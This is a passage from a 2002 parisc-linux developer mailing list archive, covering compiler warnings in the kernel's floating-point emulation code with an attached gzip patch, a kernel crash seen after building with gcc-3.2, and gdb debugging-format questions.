fpudispatch.c:887: warning: passing arg 1 of `dbl_to_dbl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:887: warning: passing arg 3 of `dbl_to_dbl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:896: warning: passing arg 3 of `sgl_to_dbl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:899: warning: passing arg 1 of `dbl_to_sgl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:902: warning: passing arg 1 of `dbl_to_dbl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:902: warning: passing arg 3 of `dbl_to_dbl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:911: warning: passing arg 3 of `sgl_to_dbl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:914: warning: passing arg 1 of `dbl_to_sgl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:917: warning: passing arg 1 of `dbl_to_dbl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:917: warning: passing arg 3 of `dbl_to_dbl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:958: warning: passing arg 1 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:958: warning: passing arg 2 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:990: warning: passing arg 1 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:990: warning: passing arg 2 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:1027: warning: passing arg 1 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1027: warning: passing arg 2 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1027: warning: passing arg 3 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1036: warning: passing arg 1 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:1036: warning: passing arg 2 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:1036: warning: passing arg 3 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:1071: warning: passing arg 1 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1071: warning: passing arg 2 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1071: warning: passing arg 3 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1081: warning: passing arg 1 of `dbl_fdiv' from 
incompatible pointer type
fpudispatch.c:1081: warning: passing arg 2 of `dbl_fdiv' from 
incompatible pointer type
fpudispatch.c:1081: warning: passing arg 3 of `dbl_fdiv' from 
incompatible pointer type
fpudispatch.c:1090: warning: passing arg 1 of `dbl_frem' from 
incompatible pointer type
fpudispatch.c:1090: warning: passing arg 2 of `dbl_frem' from 
incompatible pointer type
fpudispatch.c:1090: warning: passing arg 3 of `dbl_frem' from 
incompatible pointer type
fpudispatch.c: In function `decode_06':
fpudispatch.c:1143: warning: passing arg 1 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1143: warning: passing arg 2 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1143: warning: passing arg 3 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1146: warning: passing arg 1 of `dbl_to_sgl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:1152: warning: passing arg 1 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1152: warning: passing arg 2 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1152: warning: passing arg 3 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1155: warning: passing arg 1 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1155: warning: passing arg 2 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1155: warning: passing arg 3 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1167: warning: passing arg 1 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1167: warning: passing arg 2 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1167: warning: passing arg 3 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1170: warning: passing arg 1 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1170: warning: passing arg 2 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:1170: warning: passing arg 3 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c: In function `decode_26':
fpudispatch.c:1278: warning: passing arg 1 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1278: warning: passing arg 2 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1278: warning: passing arg 3 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:1280: warning: passing arg 1 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:1280: warning: passing arg 2 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:1280: warning: passing arg 3 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c: In function `decode_2e':
fpudispatch.c:1360: warning: passing arg 1 of `dbl_fmpynfadd' from 
incompatible pointer type
fpudispatch.c:1360: warning: passing arg 2 of `dbl_fmpynfadd' from 
incompatible pointer type
fpudispatch.c:1360: warning: passing arg 3 of `dbl_fmpynfadd' from 
incompatible pointer type
fpudispatch.c:1360: warning: passing arg 5 of `dbl_fmpynfadd' from 
incompatible pointer type
fpudispatch.c:1363: warning: passing arg 1 of `dbl_fmpyfadd' from 
incompatible pointer type
fpudispatch.c:1363: warning: passing arg 2 of `dbl_fmpyfadd' from 
incompatible pointer type
fpudispatch.c:1363: warning: passing arg 3 of `dbl_fmpyfadd' from 
incompatible pointer type
fpudispatch.c:1363: warning: passing arg 5 of `dbl_fmpyfadd' from 
incompatible pointer type

What do you suggest for those (let like this or submit to HP (see Paul 
comment) to improve their code)?

Matthew Wilcox wrote:
> On Wed, Apr 17, 2002 at 11:02:54AM +0200, joel.soete@freebel.net wrote:
> 
>>Here is some trace I get from the kernel (2.4.18-pa19) make (after a make
>>oldconfig):
> 
> ...
> 
>>I do think that lacks a header to define some function.
> 
> 
> this code is crufty old HPUX stuff... the warnings have been there
> basically forever, and nobody's bothered to fix them.  Nobody's found a
> problem either :-) If you want to eliminate these warnings by declaring
> everything properly, feel free to send a patch, but I don't think it's
> very important.
> 


--------------060402020006040004050201
Content-Type: application/gzip;
 name="math-emu.patch.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="math-emu.patch.gz"

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
XG5jLmYRU/4BGrMeQ5E3AAA=
--------------060402020006040004050201--




From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Sun, 21 Apr 2002 13:05:59 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <3CC2B937.8020509@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621246 6406 80.91.229.3 (22 Nov 2014 01:54:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 21 07:51:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77223483A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Apr 2002 07:51:40 -0600 (MDT)
Original-Received: from [213.151.40.88] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 16zHkZ-0003GU-00; Sun, 21 Apr 2002 15:51:31 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
X-Scanner: exiscan *16zHkZ-0003GU-00*2YvM.8tkbFQ* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14619

Hi Randolph,

I try my hown gcc-3.2 (+ binutils, glibc) against kernel 2.4.18-pa19 
(not yet take the risc with pa20).

It compiles as well as with gcc3.0.x. It boots also but as soon as I try 
to connect it remotly with telnet or ssh (I forget to test ftp) the 
system crash:
"Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from ... to ...:

...

[those tree line seems to be repeated infinitely. well after 5 minutes I 
had to unplug the power supply to reboot]

Humm as it appends as well with telnet as ssh I suspect a inetd problem?

Any idea?

Thanks,
	Joel

PS: I will try your dpkg asap




From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Sun, 21 Apr 2002 16:25:38 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk>
References: <3CC2B937.8020509@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621246 6411 80.91.229.3 (22 Nov 2014 01:54:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:06 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 21 09:25:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A981B4849
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Apr 2002 09:25:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16zJDe-0005aL-00; Sun, 21 Apr 2002 16:25:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3CC2B937.8020509@freebel.net>; from joel.soete@freebel.net on Sun, Apr 21, 2002 at 01:05:59PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14620

On Sun, Apr 21, 2002 at 01:05:59PM +0000, Joel Soete wrote:
> "Stack pointer and cr30 do not correspond!
> Dumping virtual address stack instead
> 
> Dumping Stack from ... to ...:
> 
> Humm as it appends as well with telnet as ssh I suspect a inetd problem?

I'd bet on gcc-3.2 miscompiling something in the network part of the kernel,
personally.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Sun, 21 Apr 2002 08:53:01 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020421155301.GL7563@tausq.org>
References: <3CC2B937.8020509@freebel.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621246 6415 80.91.229.3 (22 Nov 2014 01:54:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 21 09:49:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65D9A484C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Apr 2002 09:49:40 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cyvtmaaa for parisc-linux@lists.parisc-linux.org; Sun, 21 Apr 2002 08:48:31 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AE3FFCD63F; Sun, 21 Apr 2002 08:53:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3CC2B937.8020509@freebel.net>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14621

> I try my hown gcc-3.2 (+ binutils, glibc) against kernel 2.4.18-pa19 
> (not yet take the risc with pa20).
> 
> It compiles as well as with gcc3.0.x. It boots also but as soon as I try 
> to connect it remotly with telnet or ssh (I forget to test ftp) the 
> system crash:

if you still feel adventurous, check out the kdb cvs branch of the
kernel and you'll at least be able to tell where it crashed... :-)

randolph



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unofficial gdb deb on ftp site
Date: Sun, 21 Apr 2002 13:05:17 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200204211705.g3LH5HMn023230@hiauly1.hia.nrc.ca>
References: <20020421035952.GI7563@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621247 6417 80.91.229.3 (22 Nov 2014 01:54:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 21 11:05:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AE004831
	for <parisc-linux@parisc-linux.org>; Sun, 21 Apr 2002 11:05:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3LH5IFN023231;
	Sun, 21 Apr 2002 13:05:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3LH5HMn023230;
	Sun, 21 Apr 2002 13:05:17 -0400 (EDT)
In-Reply-To: <20020421035952.GI7563@tausq.org> from "Randolph Chung" at Apr 20, 2002 08:59:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14622

> I see that Dave has changed hppa-gcc from using stabs to using dwarf2 in
> gcc 3.2, so things might be quite different once we move to gcc 3.2...

That wasn't me.  I believe it was Alan.  This is also the case for 3.1.
What I did was fix the generation of frame notes in the prologue so that
the dwarf2 EH code works.  this is mainly for C++.  I'm not sure whether
gdb uses this information although it could.  You can always use "-gstabs"
to get stabs debugging information.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Mon, 22 Apr 2002 08:18:43 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1019456323.3cc3ab434a657@webmail.tiscalinet.be>
References: <3CC2B937.8020509@freebel.net> <20020421155301.GL7563@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621247 6418 80.91.229.3 (22 Nov 2014 01:54:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:07 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 22 00:18:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEC48482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Apr 2002 00:18:47 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16zX9v-00038O-00; Mon, 22 Apr 2002 08:18:43 +0200
In-Reply-To: <20020421155301.GL7563@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14623

Quoting Randolph Chung <tausq@debian.org>:

> > I try my hown gcc-3.2 (+ binutils, glibc) against kernel 2.4.18-pa19 
> > (not yet take the risc with pa20).
> > 
> > It compiles as well as with gcc3.0.x. It boots also but as soon as I
> try 
> > to connect it remotly with telnet or ssh (I forget to test ftp) the 
> > system crash:
> 
> if you still feel adventurous, check out the kdb cvs branch of the
> kernel and you'll at least be able to tell where it crashed... :-)
> 
> randolph
> 
> 

Yes I will also try (and find out howto use)

Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to install emacs 21.2 on a B180L
Date: Mon, 22 Apr 2002 11:13:02 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <200204220914.g3M9E8S07303@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621247 6421 80.91.229.3 (22 Nov 2014 01:54:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 22 03:14:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 207CE482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Apr 2002 03:14:22 -0600 (MDT)
Original-Received: from pcp91 ([129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g3M9E8S07303
          for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Apr 2002 11:14:13 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
